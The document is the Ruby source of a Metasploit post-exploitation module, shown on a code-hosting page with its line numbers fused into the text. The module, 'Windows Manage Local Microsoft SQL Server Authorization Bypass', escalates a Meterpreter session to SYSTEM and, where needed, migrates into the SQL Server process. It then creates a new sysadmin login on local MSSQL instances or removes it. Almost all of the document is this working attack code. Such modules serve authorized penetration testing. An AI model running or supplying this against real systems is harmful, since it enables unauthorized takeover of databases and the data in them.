Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/mssql_local_auth_bypass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::Windows::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',14'Description' => %q{15When this module is executed, it can be used to add a sysadmin to local16SQL Server instances. It first attempts to gain LocalSystem privileges17using the "getsystem" escalation methods. If those privileges are not18sufficient to add a sysadmin, then it will migrate to the SQL Server19service process associated with the target instance. The sysadmin20login is added to the local SQL Server using native SQL clients and21stored procedures. If no instance is specified then the first identified22instance will be used.2324Why is this possible? By default in SQL Server 2k-2k8, LocalSystem25is assigned syadmin privileges. Microsoft changed the default in26SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.27However, this can be overcome by migrating to the SQL Server process.28},29'License' => MSF_LICENSE,30'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],31'Platform' => [ 'win' ],32'SessionTypes' => [ 'meterpreter' ],33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36stdapi_sys_config_rev2self37]38}39}40)41)4243register_options(44[45OptString.new('DB_USERNAME', [true, 'New sysadmin login', nil]),46OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', nil]),47OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),48OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false])49]50)51end5253def run54# Set instance name (if specified)55instance = datastore['INSTANCE'].to_s5657# Display target58print_status("#{session_display_info}: Running module against #{sysinfo['Computer']}")5960# Identify available native SQL client61get_sql_client62fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client6364# Get LocalSystem privileges65system_status = get_system66fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status67begin68service = check_for_sqlserver(instance)69fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service7071print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")72instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip7374if datastore['REMOVE_LOGIN']75remove_login(service, instance_name)76else77add_login(service, instance_name)78end79ensure80# attempt to return to original priv context81session.sys.config.revert_to_self82end83end8485def add_login(service, instance_name)86add_login_status = add_sql_login(datastore['DB_USERNAME'],87datastore['DB_PASSWORD'],88instance_name)8990unless add_login_status91raise 'Retry'92end93rescue RuntimeError => e94if e.message == 'Retry'95retry if impersonate_sql_user(service)96else97raise $ERROR_INFO98end99end100101def remove_login(service, instance_name)102remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)103104unless remove_status105raise 'Retry'106end107rescue RuntimeError => e108if e.message == 'Retry'109retry if impersonate_sql_user(service)110else111raise $ERROR_INFO112end113end114115def add_sql_login(dbuser, dbpass, instance)116print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...")117query = mssql_sa_escalation(username: dbuser, password: dbpass)118119# Get Data120add_login_result = run_sql(query, instance)121122case add_login_result123when '', /new login created/i124print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")125return true126when /already exists/i127fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")128when /password validation failed/i129fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")130else131print_error("#{session_display_info}: Unable to add login #{dbuser}")132print_error("#{session_display_info}: Database Error:\n #{add_login_result}")133return false134end135end136137def remove_sql_login(dbuser, instance_name)138print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"")139query = "sp_droplogin '#{dbuser}'"140141remove_login_result = run_sql(query, instance_name)142143# Display result144if remove_login_result.empty?145print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")146return true147else148# Fail149print_error("#{session_display_info}: Unabled to remove login #{dbuser}")150print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")151return false152end153end154end155156157